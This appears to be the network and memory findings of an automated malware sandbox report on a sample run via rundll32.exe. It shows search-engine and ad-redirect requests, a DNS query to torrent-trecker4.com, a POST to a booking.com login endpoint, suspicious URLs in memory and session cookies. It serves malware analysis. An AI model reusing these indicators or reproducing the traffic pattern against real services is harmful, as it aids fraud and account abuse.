Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFcoiq7HVl.0ksASZXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=50&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227114&ltv_c=7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET http://www.google.com/ncr HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateProxy-Connection: Keep-AliveConnection: Upgrade, HTTP2-SettingsUpgrade: h2cHTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAAAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /ncr HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateConnection: Keep-AliveConnection: Upgrade, HTTP2-SettingsUpgrade: h2cHTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAAAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET http://www.google.com/ HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateProxy-Connection: Keep-AliveConnection: Upgrade, HTTP2-SettingsUpgrade: h2cHTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAACookie: 1P_JAR=2023-12-10-16Referer: http://www.google.com/ncrAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateConnection: Keep-AliveConnection: Upgrade, HTTP2-SettingsUpgrade: h2cHTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAACookie: 1P_JAR=2023-12-10-16Referer: http://www.google.com/ncrAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET http://derickdermatology.reachlocal.com/?scid=975940&kw=188&pub_cr_id=681916492043&device=c&network=g&targetid=kwd-11411861&loc_interest_ms=&loc_physical_ms=1016280&tc=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&rl_key=41b9b056dc46d060686ac0e3dc0e8ec4&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F HTTP/1.1Host: derickdermatology.reachlocal.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Accept-Encoding: gzip, deflateProxy-Connection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /?scid=975940&kw=188&pub_cr_id=681916492043&device=c&network=g&targetid=kwd-11411861&loc_interest_ms=&loc_physical_ms=1016280&tc=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&rl_key=41b9b056dc46d060686ac0e3dc0e8ec4&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F HTTP/1.1Host: derickdermatology.reachlocal.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54Accept-Encoding: gzip, deflateConnection: Keep-AliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Source: global traffic	HTTP traffic detected: GET http://www.google.com/sorry/index?continue=http://www.google.com/&q=EgRmgZjUGP7X16sGIjC2eTkTmqRJus4nVY7rzygMgkXV6GMklQrRaW0TRvVbbEWsegS2r1HsDn59A9I5-F0yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateProxy-Connection: Keep-AliveConnection: Upgrade, HTTP2-SettingsUpgrade: h2cHTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAACookie: 1P_JAR=2023-12-10-16; AEC=Ackid1TUsXHZaGtNbDfzLA9mAfbXpaSraxKliPlz-amxEg2oIyHOewBuIwReferer: http://www.google.com/Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /sorry/index?continue=http://www.google.com/&q=EgRmgZjUGP7X16sGIjC2eTkTmqRJus4nVY7rzygMgkXV6GMklQrRaW0TRvVbbEWsegS2r1HsDn59A9I5-F0yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateConnection: Keep-AliveConnection: Upgrade, HTTP2-SettingsUpgrade: h2cHTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAACookie: 1P_JAR=2023-12-10-16; AEC=Ackid1TUsXHZaGtNbDfzLA9mAfbXpaSraxKliPlz-amxEg2oIyHOewBuIwReferer: http://www.google.com/Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8

Source: rundll32.exe, 00000004.00000002.4576345714.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Mprod-rotation-v2.guce.aws.oath.cloudconsent.yahoo.comreal.rotation.guce.aws.oath.cloudh.cloudguce.yahoo.comwww.goog equals www.yahoo.com (Yahoo)
Source: rundll32.exe, 00000004.00000002.4576345714.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ds-global3.l7.search.ystg1.b.yahoo.comtuk.search.yahoo.comds-global3.l7.search.ystg1.b.yahoo.comuk.search.yahoo.comwww.bing.com equals www.yahoo.com (Yahoo)
Source: rundll32.exe, 00000004.00000002.4576345714.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: prod-rotation-v2.guce.aws.oath.cloudiguce.yahoo.com0real.rotation.guce.aws.oath.cloud01.a-msedge.netwww.bing.com? equals www.yahoo.com (Yahoo)
Source: rundll32.exe, 00000004.00000002.4576345714.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: search.yahoo.com''ds-global3.l7.search.ystg1.b.yahoo.com-0001.a-msedge.net$$www-www.bing.com.trafficmanager.net&&www-bing-com.dual-a-0001.a-msedge.net equals www.yahoo.com (Yahoo)
Source: rundll32.exe, 00000004.00000002.4576345714.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: uk.search.yahoo.com''ds-global3.l7.search.ystg1.b.yahoo.com001.a-msedge.net$$www-www.bing.com.trafficmanager.net&&www-bing-com.dual-a-0001.a-msedge.net equals www.yahoo.com (Yahoo)
Source: rundll32.exe, 00000004.00000002.4576345714.0000000000C93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: www.yahoo.com equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: torrent-trecker4.com

Source: unknown

HTTP traffic detected: POST /api/identity/authenticate/v1.0/enter/email/submit HTTP/1.1Host: account.booking.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36Content-Type: application/jsonContent-Length: 75User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36Origin: https://account.booking.comReferer: https://account.booking.com/X-Booking-Client: apX-Requested-With: XMLHttpRequest

Source: rundll32.exe, 00000004.00000002.4576863279.0000000004CED000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2HighAssuranceServerCA.crt0
Source: rundll32.exe, 00000004.00000002.4576863279.0000000004CED000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-ha-server-g6.crl04
Source: rundll32.exe, 00000004.00000002.4576863279.0000000004CED000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-ha-server-g6.crl0
Source: rundll32.exe, 00000004.00000002.4576863279.0000000004CED000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0M
Source: rundll32.exe, 00000004.00000002.4576997965.0000000004E6B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://work.a-poster.info
Source: rundll32.exe, 00000004.00000002.4576997965.0000000004E6B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://work.a-poster.info25000
Source: rundll32.exe, 00000004.00000002.4576863279.0000000004CED000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50174
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50177
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50186
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50188
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50189
Source: unknown	Network traffic detected: HTTP traffic on port 50222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50191
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50197
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50196
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50199
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 50210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50149 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50140
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50149
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50151
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50158
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50160
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50164
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 50231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50217
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50151 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50210
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50229
Source: unknown	Network traffic detected: HTTP traffic on port 50186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50222
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50225
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50224
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50230
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50224 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50169 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 50140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50207
Source: unknown	Network traffic detected: HTTP traffic on port 50196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50201
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901

Source: unknown	HTTPS traffic detected: 217.69.139.60:443 -> 192.168.2.6:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.69.139.60:443 -> 192.168.2.6:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.69.142.141:443 -> 192.168.2.6:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.69.139.60:443 -> 192.168.2.6:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.69.142.141:443 -> 192.168.2.6:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.100.184.66:443 -> 192.168.2.6:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.61.62.118:443 -> 192.168.2.6:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:50189 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:50196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:50199 version: TLS 1.2

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB06AA0	4_2_6CB06AA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB062E0	4_2_6CB062E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB064E0	4_2_6CB064E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB05EA0	4_2_6CB05EA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB076A0	4_2_6CB076A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB02650	4_2_6CB02650
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB01D10	4_2_6CB01D10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB0CE10	4_2_6CB0CE10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB0EB50	4_2_6CB0EB50
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6CB0FF10	4_2_6CB0FF10
